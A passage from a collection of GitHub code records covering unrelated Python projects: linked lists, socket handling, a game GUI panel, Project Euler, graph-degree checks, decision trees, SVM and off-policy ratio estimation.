DLL = DoublyLinkedList() # 객체 생성\n\n # 노드 생성 및 추가\n for i in range(3):\n NewNode = DLL.createNode(i+1)\n DLL.appendNode(NewNode)\n\n # 더블 링크드 리스트 출력\n print('---------------------------------')\n size = DLL.getSize()\n print(size)\n for i in range(size):\n current = DLL.getNodeByLocation(i)\n PrintNode(current)\n\n # 노드 제거\n current = DLL.getNodeByLocation(1)\n DLL.removeNode(current)\n\n # 출력\n print('---------------------------------')\n size = DLL.getSize()\n print(size)\n for i in range(size):\n current = DLL.getNodeByLocation(i)\n PrintNode(current)\n\n # 노드 추가\n NewNode = DLL.createNode(\"NewNode\")\n DLL.insertAfter(0, NewNode)\n\n # 출력\n print('---------------------------------')\n size = DLL.getSize()\n print(size)\n for i in range(size):\n current = DLL.getNodeByLocation(i)\n PrintNode(current)","repo_name":"jsk0910/Data_Structure","sub_path":"LinkedList/DLL.py","file_name":"DLL.py","file_ext":"py","file_size_in_byte":4337,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11968012525","text":"from __future__ import annotations\n\nimport abc\nimport selectors\nimport socket\nfrom typing import TYPE_CHECKING\n\nfrom .Buffer import Buffer\nfrom .WrappedSelector import WrappedSelector\n\nif TYPE_CHECKING:\n from .SocketConfig import SocketConfig\n\n\nclass ISocket(abc.ABC):\n \"\"\"\n Socket interface.\n \"\"\"\n\n def __init__(\n self,\n config: SocketConfig,\n ):\n # addressing\n self._address = config.address\n\n # buffer settings\n self._write_buffer = Buffer(config)\n self._buffer_size = config.buffer_size\n self._encoding = config.encode_format\n\n # socket/selector\n self._socket: socket.SocketType = socket.socket(\n config.address_family, config.socket_type\n )\n self._blocking = config.blocking\n self._selector = WrappedSelector()\n self._timeout = config.timeout_in_s\n\n # for debugging\n self._verbose = config.verbose\n\n def __del__(self):\n self._print(\"Closing socket.\")\n self._selector.unregister(self._socket)\n self._socket.close()\n self._selector.close()\n\n def start(self):\n \"\"\"\n Begins the main event loop. Events are detected by the selector.\n \"\"\"\n while True:\n if self._selector.sockets:\n events = self._selector.select(timeout=self._timeout)\n\n for event in events:\n self._handle_event(*event)\n\n @abc.abstractmethod\n def _handle_event(self, connection_key: selectors.SelectorKey, event_mask: int):\n \"\"\"\n Different handling of events depending on whether self._socket\n is a server socket (listener) or a client socket.\n \"\"\"\n raise NotImplementedError\n\n def _read_and_write(self, connection: socket.SocketType, event_mask: int):\n \"\"\"\n Executes read event, followed by write event.\n \"\"\"\n if event_mask & selectors.EVENT_READ:\n message = self.read(connection)\n\n if message:\n self._print(f\"Received {message}\")\n else:\n self._close_connection(connection)\n\n if event_mask & selectors.EVENT_WRITE:\n self.write(connection)\n\n def read(self, connection: socket.SocketType) -> str:\n \"\"\"\n Returns data from connection during a read event.\n \"\"\"\n try:\n connection.setblocking(self._blocking)\n received_bytes = connection.recv(self._buffer_size)\n message = received_bytes.decode(self._encoding)\n except ConnectionResetError as e:\n message = None\n print(e)\n return message\n\n def write(self, connection: socket.SocketType):\n \"\"\"Sends the next portion of the write buffer to the server.\"\"\"\n partial_bytes = next(self._write_buffer)\n\n if partial_bytes:\n connection.send(partial_bytes)\n print(f\"Sending {partial_bytes.decode(self._encoding)}\")\n\n def _close_connection(self, connection: socket.SocketType):\n \"\"\"\n Deregisters client socket from the selector and closes it.\n \"\"\"\n self._print(f\"Closing connection at {connection.getpeername()}...\")\n self._selector.unregister(connection)\n connection.close()\n\n def _print(self, text: str):\n \"\"\"\n Prints text if verbose setting is set to True.\n \"\"\"\n if self._verbose:\n print(text)\n","repo_name":"salehahr/python-sockets","sub_path":"socket_comms/ISocket.py","file_name":"ISocket.py","file_ext":"py","file_size_in_byte":3444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40712152783","text":"from direct.gui.DirectGui import *\nfrom pandac.PandaModules import *\nfrom direct.directnotify import DirectNotifyGlobal\nfrom otp.otpbase import OTPLocalizer\nfrom otp.otpbase import OTPGlobals\nfrom pirates.piratesgui import PDialog\nfrom pirates.piratesgui import GuiPanel\nfrom pirates.piratesgui import PiratesGuiGlobals\nfrom pirates.piratesbase import PiratesGlobals\nfrom pirates.piratesgui.RequestButton import RequestButton\n\nclass GuildMemberButton(RequestButton):\n \n def __init__(self, text, command):\n RequestButton.__init__(self, text, command, 2.0)\n self.initialiseoptions(GuildMemberButton)\n\n\nclass GuildMember(GuiPanel.GuiPanel):\n notify = DirectNotifyGlobal.directNotify.newCategory('GuildMember')\n \n def __init__(self, avId, avName, guildId, canpromote, candemote, cankick):\n GuiPanel.GuiPanel.__init__(self, OTPLocalizer.GuildMemberTitle, 0.5, 0.5)\n self.initialiseoptions(GuildMember)\n self.setPos(0.15, 0, 0.25)\n self.avId = avId\n self.avName = avName\n self.guildId = guildId\n self.canpromote = canpromote\n self.candemote = candemote\n self.cankick = cankick\n self.message = DirectLabel(parent = self, relief = None, text = avName, text_scale = PiratesGuiGlobals.TextScaleLarge + 0.01, text_align = TextNode.ACenter, text_fg = (0.9, 1, 0.9, 1), text_shadow = PiratesGuiGlobals.TextShadow, text_wordwrap = 11, pos = (0.25, 0, 0.37), textMayChange = 1)\n if self.canpromote:\n self.bPromote = GuildMemberButton(text = OTPLocalizer.GuildMemberPromote, command = self.__handlePromote)\n self.bPromote.reparentTo(self)\n self.bPromote.setPos(0.2, 0, 0.25)\n \n if self.cankick:\n self.bKick = GuildMemberButton(text = OTPLocalizer.GuildMemberKick, command = self.__handleKick)\n self.bKick.reparentTo(self)\n self.bKick.setPos(0.2, 0, 0.15)\n \n if self.candemote:\n self.bDemote = GuildMemberButton(text = OTPLocalizer.GuildMemberDemote, command = self.__handleDemote)\n self.bDemote.reparentTo(self)\n self.bDemote.setPos(0.2, 0, 0.25)\n \n self.bCancel = GuildMemberButton(text = OTPLocalizer.GuildMemberCancel, command = self.__handleCancel)\n self.bCancel.reparentTo(self)\n self.bCancel.setPos(0.2, 0, 0.05)\n\n def destroy(self):\n if hasattr(self, 'destroyed'):\n return\n \n self.destroyed = 1\n GuiPanel.GuiPanel.destroy(self)\n \n def __handlePromote(self):\n base.cr.guildManager.changeRank(self.avId, 2)\n self.destroy()\n\n def __handleDemote(self):\n base.cr.guildManager.changeRank(self.avId, 1)\n self.destroy()\n\n def __handleKick(self):\n base.cr.guildManager.removeMember(self.avId)\n messenger.send('kickedFromGuild-%s' % self.avId)\n self.destroy()\n \n def __handleCancel(self):\n self.destroy()\n\n\n","repo_name":"PiratesOnlineClassic/pirates-online-classic","sub_path":"pirates/friends/GuildMember.py","file_name":"GuildMember.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"30995700451","text":"\"\"\"\nIf the numbers 1 to 5 are written out in words: one, two, three, four, five,\nthen there are 3 + 3 + 5 + 4 + 4 = 19 letters used in total.\n\nIf all the numbers from 1 to 1000 (one thousand) inclusive were written out\nin words, how many letters would be used?\n\nNOTE: Do not count spaces or hyphens. For example, 342 (three hundred and\nforty-two) contains 23 letters and 115 (one hundred and fifteen) contains 20\nletters. The use of \"and\" when writing out numbers is in compliance with\nBritish usage.\n\"\"\"\n\n\nfrom euler.lib.names import int_to_english, letter_count\n\n\ndef main():\n total = 0\n for i in range(1, 1001):\n name = int_to_english(i)\n total += letter_count(name)\n return total\n\n\nif __name__ == '__main__': # pragma: no cover\n print(main())\n","repo_name":"mchlrhw/project-euler-python","sub_path":"euler/problems/problem_0017.py","file_name":"problem_0017.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28199448234","text":"class TrabajoFindGrado():\n\t\"\"\"Si funciona empiezo\"\"\"\n\t\n\tgrado= \"Ing Infor\"\n\n\n\tdef __init__(self, hora):\n\t\tself.hora = hora\n\n\tdef aprobar(self, nota):\n\t\tif nota < 5 or self.hora > 2240:\n\t\t\tprint(\"No apruebas macho\")\n\t\telse:\n\t\t\tprint(\"Va, es posible que apruebes\")\n\n\ncarlos= TrabajoFindGrado(2300)\n\ncarlos.aprobar(6)\n\ncarlos.hora=2200\ncarlos.aprobar(6)\n\nprint(TrabajoFindGrado.grado)\n\nprint(carlos.grado)\ncarlos.grado=\"Magisterio\"\nprint(carlos.grado.upper())\nprint(TrabajoFindGrado.grado)","repo_name":"CarlVs96/Curso-Python","sub_path":"Curso Python/Miniproyectos/PruebaMesesSinTocarNada.py","file_name":"PruebaMesesSinTocarNada.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"609194231","text":"def img_console():\n from PIL import Image\n \n width = 50\n img = Image.open('corner_border.jpg')\n \n pix1, pix2 = img.size\n pixo1 = width\n pixo2 = int(pixo1 * pix2 / pix1)\n resized_img = img.resize((pixo1, pixo2))\n \n gray_img = resized_img.convert(\"L\")\n gray_img.save('gray_img.jpeg')\n gray_img = Image.open('gray_img.jpeg')\n\n i = j = -1\n while (j < (pixo2 - 1)):\n i = 0\n j = j + 1\n print(end = \"\\n\")\n while (i < (pixo1 - 1)):\n i = i + 1\n ip_rgb = (gray_img.load()[i, j]) #00 to 255\n\n if(ip_rgb >= 160):\n print(end = \" \")\n elif(ip_rgb >= 100):\n print(end = \"0 \")\n else:\n print(end = \"00\")","repo_name":"rounakkole/img_com","sub_path":"img_console.py","file_name":"img_console.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40768032152","text":"\"\"\"\nThis program implements the Havel-Hakimi Algorithm, which finds if a degree sequence can form a a valid graph \n\"\"\"\n\ndef graphExist(a):\n # Keep performing the operations until one of the stopping condition is met\n while True:\n #Sort the list in a non-increasing order\n a = sorted(a, reverse=True)\n\n # Check if all the elements are equal to 0\n if a[0]==0 and a[len(a)-1]==0:\n return True\n #Store the firsr elements in a variable and delete it from the list\n v = a[0]\n a = a[1:]\n\n # Check if enough element are present in the list\n if v>len(a): return False\n # Subtract first element from the next v elements\n for i in range(v):\n a[i] -= 1\n # Check if negative element is encountered after subtraction\n if a[i]<0: return False\n\n\n\na = [6, 5, 4, 3, 2, 2]\nprint(graphExist(a))\na = [3, 3, 3, 3]\nb = [3, 3, 3]\nc = [4, 3, 2, 0]\nprint(graphExist(a))\nprint(graphExist(b))\nprint(graphExist(c))\n\n","repo_name":"zakir360hossain/MyProgramming","sub_path":"Languages/Python/Learning/algorithm/havel_hakimi.py","file_name":"havel_hakimi.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"2327523099","text":"import numpy as np\n\n# =============================================================================\n# Supportive functions\n# =============================================================================\n\n# Classification criterion functions to measure the quality of a split.\ndef entropy(y):\n \"\"\"entropy computes the information gain due to split\n F(X_m) = -\\sum_{i = 1}^K p_i \\log_2(p_i)\n \"\"\"\n # compute probability of being a particular class\n P = [len(y[y==k]) / len(y) for k in np.unique(y)]\n return -1 * np.dot(P, np.log2(P))\n\ndef gini(y):\n \"\"\"gini impurity to measure the quality of a split\n F(X_m) = 1 -\\sum_{i = 1}^K p_i^2\n \"\"\"\n # compute probability of being a particular class\n P = [len(y[y==k]) / len(y) for k in np.unique(y)]\n return 1 - np.dot(P, P)\n\n# Regression criterion functions\ndef variance(y):\n return np.var(y)\n\ndef mad_median(y):\n return np.mean(np.abs(y-np.median(y)))\n\n# Dictionary for easy mapping with input string\ncriterion_dict = {'entropy': entropy,\n 'gini': gini,\n 'mse': variance,\n 'mad_median' : mad_median}\n\n# Target prediction functions\ndef classification_leaf(y):\n \"\"\"the most popular class in leaf\"\"\"\n return np.bincount(y).argmax()\n\ndef regression_leaf(y):\n \"\"\"the mean of all values in a leaf\"\"\"\n return np.mean(y)\n\n\n# =============================================================================\n# Decision Tree\n# =============================================================================\nclass Node():\n '''Node class represents a node in a decision tree'''\n \n def __init__(self, feature_idx:int=0, threshold:float=0.0, labels:list=None, left=None, right=None, debug:bool=False):\n self.feature_idx = feature_idx\n self.threshold = threshold\n self.labels = labels\n self.left = left\n self.right = right\n if debug:\n print(f\"threshold: {self.threshold}, labels: {self.labels}\")\n \n\nclass DecisionTree():\n \n def __init__(self, \n max_depth:int=np.inf, \n min_samples_split:int=2, \n criterion='gini', \n debug:bool=False):\n \n self.max_depth = max_depth\n self.min_samples_split = min_samples_split\n self.criterion = criterion\n self.debug = debug\n\n self._criterion_fun = criterion_dict[self.criterion]\n \n if self.criterion in ['mse', 'mad_median']:\n self._leaf_value = regression_leaf\n else:\n self._leaf_value = classification_leaf\n \n if debug:\n print(\"DecisionTree\")\n print(f\"max_depth: {self.max_depth}, min_samples_split: {self.min_samples_split}, \\\n criterion: {self.criterion}, debug: {self.debug}\")\n \n \n def _functional(self, X, y, feature_idx, threshold):\n '''A functional returns the gain achieved if we split the data at given feature and threshold value'''\n\n if threshold is np.nan:\n return 0\n \n mask = X[:,feature_idx] <= threshold\n X_l = X[ mask ]\n y_l = y[ mask ]\n\n X_r = X[ ~mask ]\n y_r = y[ ~mask ]\n \n # if all the data goes to one of the child\n if len(X_l) == 0 or len(X_r) == 0:\n return 0\n\n return self._criterion_fun(y) - \\\n (X_l.shape[0]/X.shape[0])* self._criterion_fun(y_l) - \\\n (X_r.shape[0]/X.shape[0])* self._criterion_fun(y_r)\n\n \n \n def _build_tree(self, X, y, depth = 1):\n ''' Recursive function to split the data and form nodes'''\n \n # We already reached to the max_depth, so time to leave recursion \n # by creating a leaf Node\n if depth > self.max_depth:\n return Node(labels=y)\n \n n_samples, n_features = X.shape\n \n # We do not have sufficient samples to split\n if n_samples < self.min_samples_split:\n return Node(labels=y)\n \n # If all objects in a current vertex have the same values in answers\n # then the value of the functional will be 0 for all partitions.\n # So in this case the vertex is a leaf. In order not to make unnecessary calculations, \n # perform this check before the main cycle.\n if len(np.unique(y)) == 1:\n return Node(labels=y)\n \n # Here we are trying to split the data such that we will have maximun\n # gain out of split.\n # We will simulate the split for each unique value of each feature and\n # calculate the functional gain. On evey account of finding the maximum gain \n # from the previous we will keep storing the feature index and threshold value\n # which gave this gain.\n # At the end of this search we will have the best feature index and threshold\n # value we should use to split the data into left and right nodes.\n max_gain = 0\n best_feat_idx = 0\n best_threshold = 0\n \n for feature_idx in range(n_features):\n all_thresholds = np.unique(X[:,feature_idx])\n \n all_gain = [self._functional(X, y, feature_idx, threshold) for threshold in all_thresholds]\n \n threshold_idx = np.nanargmax(all_gain)\n \n if all_gain[threshold_idx] > max_gain:\n max_gain = all_gain[threshold_idx]\n best_feat_idx = feature_idx\n best_threshold = all_thresholds[threshold_idx]\n\n # Split data at this best feature and threshold\n mask = X[:,best_feat_idx] <= best_threshold\n \n return Node(best_feat_idx, best_threshold, debug=self.debug, labels=None, # We need to cache labels only at leaf node\n left = self._build_tree(X[mask], y[mask], depth+1), # continue to build on left side\n right = self._build_tree(X[~mask], y[~mask], depth+1)) # continue to build on right side\n\n \n def fit(self, X, y):\n '''the method takes the matrix of instances X and a target vector y (numpy.ndarray objects) \n and returns an instance of the class DecisionTree representing the decision tree trained on the \n dataset (X, y) according to parameters set in the constructor\n '''\n \n # remember the number classes for classification task\n if self.criterion in ['gini', 'entropy']:\n self._n_classes = len(np.unique(y))\n \n self.root = self._build_tree(X, y)\n return self\n \n\n # predict only for one object \n def _predict_object(self, x):\n # Traverse from root to leaf node\n node = self.root\n \n while node.labels is None:\n node = node.left if x[node.feature_idx] < node.threshold else node.right\n \n # calculate the prediction\n return self._leaf_value(node.labels)\n \n \n def predict(self, X):\n '''the method takes the matrix of instances X and returns a prediction vector;\n in case of classification, prediction for an instance xi falling into leaf L will be the class,\n mostly represented among instances in L . \n In case of regression, it will be the mean value of targets for all instances in leaf L\n '''\n return np.array([self._predict_object(x) for x in X])\n \n \n def _predict_prob_object(self, x):\n node = self.root\n \n while node.labels is None:\n node = node.left if x[node.feature_idx] < node.threshold else node.right\n \n # calculate the probability of each class\n # i.e number of labels of class k / total number of labels\n return [len( node.labels[node.labels == k] ) / len(node.labels)\n for k in range(self._n_classes)]\n \n \n def predict_proba(self, X):\n '''the method takes the matrix of instances X and returns the matrix P of a size [X.shape[0] x K],\n where K is the number of classes and Pij is the probability of an instance in i -th row of X \n to belong to class j∈{1,…,K}\n '''\n return np.array([self._predict_prob_object(x) for x in X])\n\n\nclass DecisionTreeClassifier(DecisionTree):\n \"\"\"A decision tree classifier.\n\n Parameters\n ----------\n max_depth : int or None, optional (default=None)\n The maximum depth of the tree. If None, then nodes are expanded until\n all leaves are pure or until all leaves contain less than\n min_samples_split samples.\n \n min_samples_split : int, float, optional (default=2)\n The minimum number of samples required to split an internal node:\n\n - If int, then consider `min_samples_split` as the minimum number.\n - If float, then `min_samples_split` is a percentage and\n `ceil(min_samples_split * n_samples)` are the minimum\n number of samples for each split.\n\n .. versionchanged:: 0.18\n Added float values for percentages.\n \n criterion : string, optional (default=\"gini\")\n The function to measure the quality of a split. Supported criteria are\n \"gini\" for the Gini impurity and \"entropy\" for the information gain.\n\n Examples\n --------\n >>> from sklearn.datasets import load_iris\n >>> from sklearn.model_selection import cross_val_score\n >>> from mllearn.tree import DecisionTreeClassifier\n >>> clf = DecisionTreeClassifier()\n >>> iris = load_iris()\n >>> cross_val_score(clf, iris.data, iris.target, cv=10)\n ...\n ...\n array([ 1. , 0.93..., 0.86..., 0.93..., 0.93...,\n 0.93..., 0.93..., 1. , 0.93..., 1. ])\n \"\"\"\n\n def __init__(self,\n max_depth:int=np.inf, \n min_samples_split:int=2, \n criterion='gini', \n debug:bool=False):\n super(DecisionTreeClassifier, self).__init__(\n max_depth=max_depth,\n min_samples_split=min_samples_split, \n criterion=criterion,\n debug=debug)\n\n\n def fit(self, X, y):\n '''the method takes the matrix of instances X and a target vector y (numpy.ndarray objects) \n and returns an instance of the class DecisionTree representing the decision tree trained on the \n dataset (X, y) according to parameters set in the constructor\n '''\n return super(DecisionTreeClassifier, self).fit(X,y)\n\n\nclass DecisionTreeRegressor(DecisionTree):\n \"\"\"A decision tree regressor.\n\n Parameters\n ----------\n max_depth : int or None, optional (default=None)\n The maximum depth of the tree. If None, then nodes are expanded until\n all leaves are pure or until all leaves contain less than\n min_samples_split samples.\n \n min_samples_split : int, float, optional (default=2)\n The minimum number of samples required to split an internal node:\n\n - If int, then consider `min_samples_split` as the minimum number.\n - If float, then `min_samples_split` is a percentage and\n `ceil(min_samples_split * n_samples)` are the minimum\n number of samples for each split.\n\n .. versionchanged:: 0.18\n Added float values for percentages.\n \n criterion : string, optional (default=\"mse\")\n The function to measure the quality of a split. Supported criteria are\n \"mse\" for the mean squared error impurity and \"mad_median\" for the mean median\n error impurity.\n\n Examples\n --------\n >>> from sklearn.datasets import load_iris\n >>> from sklearn.model_selection import cross_val_score\n >>> from mllearn.tree import DecisionTreeRegressor\n >>> clf = DecisionTreeRegressor()\n >>> iris = load_iris()\n >>> cross_val_score(clf, iris.data, iris.target, cv=10)\n ...\n ...\n array([ 1. , 0.93..., 0.86..., 0.93..., 0.93...,\n 0.93..., 0.93..., 1. , 0.93..., 1. ])\n \"\"\"\n\n def __init__(self,\n max_depth:int=np.inf, \n min_samples_split:int=2, \n criterion='mse', \n debug:bool=False):\n super(DecisionTreeRegressor, self).__init__(\n max_depth=max_depth,\n min_samples_split=min_samples_split, \n criterion=criterion,\n debug=debug)\n\n\n def fit(self, X, y):\n '''the method takes the matrix of instances X and a target vector y (numpy.ndarray objects) \n and returns an instance of the class DecisionTree representing the decision tree trained on the \n dataset (X, y) according to parameters set in the constructor\n '''\n return super(DecisionTreeRegressor, self).fit(X,y)\n","repo_name":"nitinai/ml_algorithms","sub_path":"mllearn/tree/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":12757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"3535338573","text":"import numpy as np \nimport matplotlib.pyplot as plt \nimport pandas as pd \n\ndata_set= pd.read_csv(r\"C:\\Users\\A\\Downloads\\Position_Salaries - Position_Salaries.csv\") \n\nx = data_set.iloc[:, [1]].values\ny = data_set.iloc[:, -1].values \n\nfrom sklearn.model_selection import train_test_split \nx_train, x_test, y_train, y_test= train_test_split(x, y, test_size= 0.2, random_state=None)\n\nfrom sklearn.svm import SVC \nclassifier = SVC(kernel='linear', random_state=0) \nclassifier.fit(x_train, y_train) \n\ny_pred = classifier.predict(x_test) \nx_pred = classifier.predict(x_train)\n\nprint(classifier.predict([[16]]))\n\nplt.scatter(x_train, y_train, color = 'red') \nplt.plot(x_train, regressor.predict(x_train), color = 'blue') \nplt.xlabel('Position level') \nplt.ylabel('Salary') \nplt.show()\n","repo_name":"CodeCaspian/MCS-2023-practicals","sub_path":"Python ML/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74892890331","text":"import numpy as np\nfrom numpy.linalg import inv\nfrom sklearn.kernel_approximation import RBFSampler\n\nclass RatioLinearLearner:\n def __init__(self, dataset, target_policy, control_policy, palearner, ndim=100, truncate=20, dim_state = 1, l2penalty = 1.0):\n \n self.dim_state = dim_state\n self.state = np.copy(dataset['state']).reshape(-1, self.dim_state)\n self.action = np.copy(dataset['action']).reshape(-1, 1)\n self.unique_action = np.unique(dataset['action'])\n self.next_state = np.copy(dataset['next_state']).reshape(-1, self.dim_state)\n self.s0 = np.copy(dataset['s0']).reshape(-1, self.dim_state)\n\n self.target_policy = target_policy\n self.control_policy = control_policy\n self.beta_target = None\n self.beta_control = None\n self.truncate = truncate\n self.l2penalty = l2penalty\n \n self.palearner = palearner\n pass\n\n def feature_engineering(self, feature):\n feature_new = np.hstack([np.repeat(1, feature.shape[0]).reshape(-1, 1), feature])\n return feature_new\n\n def fit(self):\n psi = self.feature_engineering(self.state)\n psi_next = self.feature_engineering(self.next_state)\n\n self.estimate_pa = self.palearner.get_pa_prediction(self.state, self.action)\n self.target_pa = self.target_policy(state = self.state, dim_state=self.dim_state, action=self.action).flatten()\n self.control_pa = self.control_policy(state = self.state, dim_state=self.dim_state, action=self.action).flatten()\n \n self.pa_ratio_target = self.target_pa / self.estimate_pa\n self.pa_ratio_control = self.control_pa / self.estimate_pa\n # print(np.mean(ratio)) # close to 1 if behaviour and target are the same\n \n #target_ratio_learning\n self.beta_target = self._beta(psi, psi_next, self.pa_ratio_target)\n #control_ratio_learning\n self.beta_control = self._beta(psi, psi_next, self.pa_ratio_control)\n pass\n \n def _beta(self, psi, psi_next, pa_ratio):\n psi_minus_psi_next = self.rbf_difference(psi, psi_next, pa_ratio)\n design_matrix_up = np.zeros((psi.shape[1], psi.shape[1]))\n design_matrix_down = np.zeros((1, psi.shape[1]))\n for i in range(self.state.shape[0]):\n design_matrix_up += np.matmul(psi_minus_psi_next[i].reshape(-1, 1), psi[i].reshape(1, -1))\n design_matrix_down += psi[i].reshape(1, -1)\n design_matrix_up /= self.state.shape[0]\n design_matrix_down /= self.state.shape[0]\n \n X = np.vstack((design_matrix_up, design_matrix_down))\n XTX = np.matmul(X.T, X)\n #print(XTX)\n if self.l2penalty is not None:\n penalty_matrix = np.diagflat(np.repeat(self.l2penalty, XTX.shape[0]))\n XTX += penalty_matrix\n #print('+',XTX )\n inv_design_matrix = inv(XTX)\n\n beta_target = np.matmul(inv_design_matrix, design_matrix_down.reshape(-1, 1))\n return beta_target\n \n def rbf_difference(self, psi, psi_next, ratio):\n psi_minus_psi_next = psi - (psi_next.transpose() * ratio).transpose()\n return psi_minus_psi_next\n\n def get_ratio_prediction(self, state, policy = 'target',normalize=True):\n '''\n Input:\n state: a numpy.array\n Output:\n A 1D numpy array. The probability ratio in certain states.\n '''\n if np.ndim(state) == 0 or np.ndim(state) == 1:\n x_state = np.reshape(state, (1, -1))\n else:\n x_state = np.copy(state).reshape((-1,self.dim_state))\n psi = self.feature_engineering(x_state)\n if policy == 'target':\n ratio = np.matmul(psi, self.beta_target).flatten()\n elif policy == 'control':\n ratio = np.matmul(psi, self.beta_control).flatten()\n ratio_min = 1 / self.truncate\n ratio_max = self.truncate\n ratio = np.clip(ratio, a_min=ratio_min, a_max=ratio_max)\n if state.shape[0] > 1:\n if normalize:\n ratio /= np.mean(ratio)\n return ratio\n\n def get_r_prediction(self, state, policy = 'target', normalize=True):\n return self.get_ratio_prediction(state, policy, normalize)\n \n def goodness_of_fit(self,test_dataset):\n np.random.seed(1) \n psi = self.feature_engineering(test_dataset['state'])\n psi_next = self.feature_engineering(test_dataset['next_state'])\n \n estimate_pa = self.palearner.get_pa_prediction(test_dataset['state'], test_dataset['action'])\n target_pa = self.target_policy(state = test_dataset['state'], dim_state = self.dim_state,\n action=test_dataset['action']).flatten()\n control_pa = self.control_policy(state = test_dataset['state'], dim_state = self.dim_state, action = test_dataset['action']).flatten()\n pa_ratio_target = target_pa / estimate_pa\n pa_ratio_control = control_pa / estimate_pa\n \n psi_minus_psi_next_target = self.rbf_difference(psi, psi_next, pa_ratio_target)\n psi_minus_psi_next_control = self.rbf_difference(psi, psi_next, pa_ratio_control)\n\n rmse_target = [np.matmul(np.matmul(psi_minus_psi_next_target[i].reshape(-1, 1), psi[i].reshape(1, -1)),self.beta_target) for i in range(test_dataset['state'].shape[0])]\n rmse_target = [np.vstack([rmse_target[i], np.matmul(psi[i].reshape(1, -1),self.beta_target)-1]) for i in range(test_dataset['state'].shape[0])]\n rmse_target = np.sqrt(np.mean(np.square(np.mean(rmse_target,axis=0)))) \n \n rmse_control = [np.matmul(np.matmul(psi_minus_psi_next_control[i].reshape(-1, 1), psi[i].reshape(1, -1)),self.beta_control) for i in range(test_dataset['state'].shape[0])]\n rmse_control = [np.vstack([rmse_control[i], np.matmul(psi[i].reshape(1, -1),self.beta_control)-1]) for i in range(test_dataset['state'].shape[0])]\n rmse_control = np.sqrt(np.mean(np.square(np.mean(rmse_control,axis=0)))) \n return rmse_target, rmse_control","repo_name":"linlinlin97/MediationRL","sub_path":"Toy_2/ratioLearner.py","file_name":"ratioLearner.py","file_ext":"py","file_size_in_byte":6054,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"10060084118","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plot\nimport seaborn as sns\nimport pydotplus\ndataset = pd.read_csv('training.csv')\ngenero = []\nfor i in dataset.index:\n if int(dataset[\"pop\"][i]) == 1:\n # print(f'{i}--{dataset[\"pop\"][i]}')\n genero.append(1)\n elif int(dataset[\"rock\"][i]) == 1:\n # print(f'{i}--{dataset[\"rock\"][i]}')\n genero.append(2)\n elif int(dataset[\"hip hop\"][i]) == 1:\n # print(f'{i}--{dataset[\"hip hop\"][i]}')\n genero.append(3)\n elif int(dataset[\"Dance/Electronic\"][i]):\n # print(f'{i}')\n genero.append(4)\n\ndataset=dataset.assign(genero=genero)\nprint(dataset)\ndataset = dataset.drop(columns=['pop','rock','hip hop','Dance/Electronic'])\nprint(dataset)\n# dataset = pd.read_csv('wine.data', header = None)\n#1:pop\t2:rock\t3:hip hop\t4:Dance/Electronic\n\n# dataset.columns = ['label',\n# 'alcohol', \n# 'malic_acid', \n# 'ash', \n# 'alcalinity_of_ash', \n# 'magnesium', \n# 'total_phenols', \n# 'flavanoids', \n# 'nonflavanoid_phenols', \n# 'proanthocyanins', \n# 'color_intensity', \n# 'hue',\n# 'OD280/OD315',\n# 'proline']\n\n# print(f'{dataset}')\nfrom sklearn.model_selection import train_test_split\n\nx = dataset.values[:, 1:]\ny = dataset.values[:, 0] # a primeira coluna do dataset indica a origem do vinho \n\n# print(f'{x}')\n# print(f'{y}')\n\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.20, random_state = 0)\n\nfrom sklearn.preprocessing import StandardScaler\n\nscaler = StandardScaler()\nscaler.fit(x_train)\n\nx_train = scaler.transform(x_train)\nx_test = scaler.transform(x_test)\n# print(f'{x_train}')\n# print(f'{x_test}')\n\n#treinamento\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import classification_report, accuracy_score, confusion_matrix\n\ndef train_model(height):\n model = DecisionTreeClassifier(criterion = 'entropy', max_depth = height, random_state = 0)\n model.fit(x_train, y_train)\n return model\n\n\n#avaliacao\nfor height in range(1, 21): # 1-20\n model = train_model(height)\n y_pred = model.predict(x_test)\n \n print('--------------------------------------------------------------\\n')\n print(f'Altura - {height}\\n')\n print(\"Precisão: \" + str(accuracy_score(y_test, y_pred)))\n \n #exportar a arvore\nfrom IPython.display import Image \nfrom sklearn.tree import export_graphviz\n\nmodel = train_model(3)\n\n\nfeature_names = ['alcohol',\n 'malic_acid',\n 'ash',\n 'alcalinity_of_ash', \n 'magnesium', \n 'total_phenols', \n 'flavanoids', \n 'nonflavanoid_phenols', \n 'proanthocyanins', \n 'color_intensity', \n 'hue',\n 'OD280/OD315',\n 'proline']\n\nclasses_names = ['%.f' % i for i in model.classes_]\n\ndot_data = export_graphviz(model, filled=True, feature_names=feature_names, class_names=classes_names, rounded=True, special_characters=True)\ngraph = pydotplus.graph_from_dot_data(dot_data) \nImage(graph.create_png())\ngraph.write_png(\"tree.png\")\nImage('tree.png')","repo_name":"lildiop2/disciplina-ia","sub_path":"trabalho_final_ia/arvore.py","file_name":"arvore.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20936055395","text":"import torch\nimport pandas as pd\nimport 